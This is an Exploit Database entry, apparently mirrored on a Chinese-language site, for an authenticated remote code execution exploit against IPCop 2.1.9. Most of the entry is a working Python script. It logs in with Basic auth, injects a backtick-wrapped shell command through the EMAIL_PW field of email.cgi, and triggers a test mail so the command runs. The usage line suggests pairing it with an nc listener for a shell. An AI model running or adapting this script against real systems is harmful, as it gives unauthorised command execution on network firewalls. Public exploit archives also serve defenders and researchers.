IPCop 2.1.9 – Remote Code Execution (RCE) (Authenticated)

• Exploit Database
• 22 阅读

• 作者： Mücahit Saratar
  日期： 2021-08-10
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/50183/

• # Exploit Title: IPCop 2.1.9 - Remote Code Execution (RCE) (Authenticated)
  # Date: 02/08/2021
  # Exploit Author: Mücahit Saratar
  # Vendor Homepage: https://www.ipcop.org/
  # Software Link: https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.8/ipcop-2.1.8-install-cd.i486.iso - https://sourceforge.net/projects/ipcop/files/IPCop/IPCop%202.1.9/ipcop-2.1.9-update.i486.tgz.gpg
  # Version: 2.1.9
  # Tested on: parrot os 5.7.0-2parrot2-amd64
  
  #!/usr/bin/python3
  
  import requests as R
  import os
  import sys
  import base64
  import urllib3
  
  R.packages.urllib3.disable_warnings()
  R.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
  try:
  R.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
  except AttributeError:
  # no pyopenssl support used / needed / available
  pass
  
  try:
  hostport = sys.argv[1]
  assert hostport[:8] == "https://" and hostport[-1] == "/"
  url = hostport + "cgi-bin/email.cgi"
  username = sys.argv[2].encode()
  password = sys.argv[3].encode()
  auth = base64.b64encode(username+b":"+password).decode()
  command = sys.argv[4]
  assert " " in command
  except:
  print("[-] Usage https://host:port/ username password command(no spaces) <port for listen with nc - optional - >")
  exit(1)
  
  
  rheader = {"Authorization":"Basic "+auth,
  "Origin": hostport,
  "Referer": url}
  
  rdata = {
  "EMAIL_SERVER": "mucahitsaratar.github.io",
  "EMAIL_USE_TLS": "auto",
  "EMAIL_SERVER_PORT": "1337",
  "EMAIL_USR": "ipcop@localdomain",
  "EMAIL_PW": f"`{command}`",
  "EMAIL_FROM": "ipcop@localdomainn",
  "EMAIL_TO": "ipcop@localdomainnn",
  "ACTION": "Kaydet" # change here to what is mean the "save && send test mail" in target language
  }
  
  
  R.post(url,headers=rheader, data=rdata, verify=False)
  rdata["ACTION"] = "Test postası gönder" # send test mail
  R.post(url,headers=rheader, data=rdata, verify=False)